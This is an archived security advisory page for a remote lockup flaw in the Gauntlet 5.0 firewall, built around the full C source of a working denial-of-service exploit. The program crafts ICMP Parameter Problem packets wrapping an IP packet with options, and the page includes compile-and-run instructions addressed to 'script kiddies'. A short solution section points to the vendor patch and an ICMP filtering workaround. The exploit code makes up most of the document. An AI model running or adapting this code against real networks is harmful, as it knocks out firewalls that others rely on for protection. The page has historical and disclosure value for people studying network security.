TUCoPS :: Unix :: General :: gauntl3.htm

Gauntlet 5.0 remote lockup exploit
Vulnerability

    Gauntlet

Affected

    Gauntlet 5.0

Description

    Mike Frantzen found following.   It's code that locks up  Gauntlet
    5.0.  If you know an IP that will be routed through a Gauntlet 5.0
    Firewall, you can  remotely lock up  the firewall (tested  against
    Solaris 2.6 and BSDI).  It  locks up to the point that  one packet
    will  disable  STOP-A  (L1-A)  on  Sparcs  and  ~3-5  packets will
    disable Ctrl-Alt-Del on BSDI  (Ctrl-Alt-Del still prompts Y/N  but
    it never reboots).

    You can NOT send  this to the Gauntlet's  IP.  The packet  must be
    one that would go through the forwarding code.

    If you are on local ether to the firewall, set it as your  default
    route or  otherwise send  the packet  to the  firewall's MAC.  The
    packet is parsed  before the packet  filtering rules in  Gauntlet.
    So the only known work-around is  to ACL out ICMP type 12  at your
    screening router.  Or you  could switch to Gauntlet 5.5  which (in
    the beta)  does not  seem to  be vulnerable  -- but 5.5 introduces
    some new 'issues'.

    The packet is an  ICMP Paramater Problem packet  that encapsulates
    an IP packet with IP Options.   There is a random protocol in  the
    encapsulated IP packet.  The trick is:  the inner packet MUST have
    IP  Options.   Some  options  work,  some  don't.   The   firewall
    apparently  is  looking  for  the  packet  (or  an  entry  in  its
    transparency table) that matches the encapsulated packet.  It just
    keeps looking....  It likely has interrupts masked off on Solaris.
    Code follows:

    /*
     * Discovered and written by:  <godot@msg.net>          <- Send money to :-)
     *     aka     Mike Frantzen   <frantzen@expert.cc.purdue.edu>  <- Reply to
     *
     * Network Associates:  "Who's watching your network?"
     * MSG.net              "Who's watching the watchers?"
     *
     * This can be found online at http://www.msg.net/firewalls/tis/bland.c
     *
     *
     * You need libnet to link this against.  It's a pretty spiffy lib.
     *   http://www.infonexus.com/~daemon9/Projects/Libnet
     *   http://www.packetfactory.net/libnet
     *
     *
     * For da script kiddies:
     *   Compile with 'gcc -o bland bland.c -lnet'
     *   ./bland -d <ip through the firewall>
     *   (Did you remember to install Libnet???)
     *
     *
     * If it doesn't compile on your machine:  I DON'T CARE!!!  This program was
     * a quick and dirty hack.  You try reading a hexdump of a packet off the
     * wire and writing something that can reproduce it.
     * I know it compiles and works from FreeBSD 3.1
     *
     *
     *
     * Plugs:
     *  ISIC --  Program I used (and wrote) to find bugs in Gauntlet's IP stack.
     *           http://expert.cc.purdue.edu/~frantzen/isic-0.02.tar.gz
     *  Libnet --  Was able to write the basic exploit in 20 minutes because of
     *           libnet.  See libnet link above.  Thanks go out to Route!
     *
     *
     * Credits:
     *  Mike Frantzen <frantzen@expert.cc.purdue.edu>	Hey, thats me!
     *  Mike Scher <strange@cultural.com>
     *  Kevin Kadow <kadokev@msg.net>	      <-  Gauntlet Random Seed Hole
     *  Lenard Lynch <llynch@tribune.com>
     *  Viki Navratilova <vn@msg.net>
     */

    #include <libnet.h>

    int main(int argc, char **argv)
    {
	    u_long src_ip = 0, dst_ip = 0, ins_src_ip = 0, ins_dst_ip = 0;
	    u_long *problem = NULL;
	    u_char *packet = NULL;
	    int sock, c, len = 0;
	    long acx, count = 1;
	    struct icmp *icmp;
	    struct ip *ip;

	    /* It appears that most IP options of length >0 will work
	     * Works with 128, 64, 32, 16...  And the normal ones 137...
	     * Does not work with 0, 1 */
	    u_char data[] = {137};
	    int data_len = sizeof(data);

	    printf("Written by Mike Frantzen...  <godot@msg.net>\n");
	    printf("For test purposes only... yada yada yada...\n");

	    src_ip = inet_addr("10.10.10.10");

	    while ( (c = getopt(argc, argv, "d:s:D:S:l:c:")) != EOF ) {
	      switch(c) {
		    case 'd':	dst_ip = libnet_name_resolve(optarg, 1);
				    break;
		    case 's':	src_ip = libnet_name_resolve(optarg, 1);
				    break;
		    case 'D':	ins_dst_ip = name_resolve(optarg, 1);
				    break;
		    case 'S':	ins_src_ip = name_resolve(optarg, 1);
				    break;
		    case 'l':	data_len = atoi(optarg);
				    break;
		    case 'c':	if ( (count = atol(optarg)) < 1)
					    count = 1;
				    break;
		    default:	printf("Don't understand option.\n");
				    exit(-1);
	      }
	    }

	    if ( dst_ip == 0 ) {
	        printf("Usage: %s\t -d <destination IP>\t[-s <source IP>]\n",
		    rindex(argv[0], '/') == NULL ? argv[0]
					    : rindex(argv[0], '/') + 1);
	        printf("\t\t[-S <inner source IP>]\t[-D <inner dest IP>]\n");
	        printf("\t\t[-l <data length>]\t[-c <# to send>]\n");
	        exit(-1);
	    }

	    if ( ins_dst_ip == 0 )
		    ins_dst_ip = src_ip;
	    if ( ins_src_ip == 0 )
		    ins_src_ip = dst_ip;

	    if ( (packet = malloc(1500)) == NULL ) {
		    perror("malloc: ");
		    exit(-1);
	    }
	    if ( (sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1 ) {
        	    perror("socket: ");
        	    exit(-1);
	    }

	    /* 8 is the length of the ICMP header with the problem field */
	    len = 8 + IP_H + data_len;
	    bzero(packet + IP_H, len);

            libnet_build_ip(len,                    /* Size of the payload */
                    0xc2,                           /* IP tos */
                    30241,                          /* IP ID */
                    0,                              /* Frag Offset & Flags */
                    64,                             /* TTL */
                    IPPROTO_ICMP,                   /* Transport protocol */
                    src_ip,                         /* Source IP */
                    dst_ip,                         /* Destination IP */
                    NULL,                           /* Pointer to payload */
                    0,
                    packet);                        /* Packet memory */


	    /* ICMP Header for Parameter Problem
	     * --------------+---------------+---------------+---------------
	     *| Type (12)	 |    Code (0)	 |	Checksum		 |
	     * --------------+---------------+---------------+---------------
	     *| Pointer	 |		unused				 |
	     * --------------+---------------+---------------+---------------
	     * Internet Header + 64 bits of original datagram data....
	     */

	    icmp = (struct icmp *) (packet + IP_H);
	    problem = (u_long *) (packet + IP_H + 4);  /* 4 = ICMP header  */
	    icmp->icmp_type	= ICMP_PARAMPROB;
	    icmp->icmp_code	= 0;		/* Indicates a problem pointer */
	    *problem = htonl(0x14000000);	/* Problem is 20 bytes into it */


	    /* Need to embed an IP packet within the ICMP */
	    ip = (struct ip *) (packet + IP_H + 8);	/* 8 = icmp header	*/
	    ip->ip_v	= 0x4;			/* IPV4			*/
	    ip->ip_hl	= 0xf;			/* Some IP Options	*/
	    ip->ip_tos	= 0xa3;			/* Whatever		*/
	    ip->ip_len	= htons(data_len);	/* Length of packet	*/
	    ip->ip_id	= 30241;		/* Whatever		*/
	    ip->ip_off	= 0;			/* No frag's		*/
	    ip->ip_ttl	= 32;			/* Whatever		*/
	    ip->ip_p	= 98;			/* Random protocol	*/
	    ip->ip_sum	= 0;			/* Will calc later	*/
	    ip->ip_src.s_addr = ins_src_ip;
	    ip->ip_dst.s_addr = ins_dst_ip;

	    /* Move our data block into the packet */
	    bcopy(data, (void *) (packet + IP_H + IP_H + 8), data_len);

	    /* I hate checksuming.  Spent a day trying to get it to work in
	     * perl...  That sucked...  Tequilla would have helped immensly.
	     */
	    libnet_do_checksum((unsigned char *) ip, IPPROTO_IP, data_len);

	    /* Bah...  See above comment.... */
	    libnet_do_checksum(packet, IPPROTO_ICMP, len);


	    printf("Sending %li packets", count);
	    for (acx = 0; acx < count; acx++) {
	       if( libnet_write_ip(sock, packet, len + IP_H)  < (len + IP_H))
 		    perror("write_ip: ");
	       else printf(".");
	    }
	    printf("\n\n");
	    return( 0 );
    }

Solution

    Network Associates released  a patch for  the problem.   It can be
    found at

        ftp://ftp.tis.com/gauntlet/patches/5.0

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH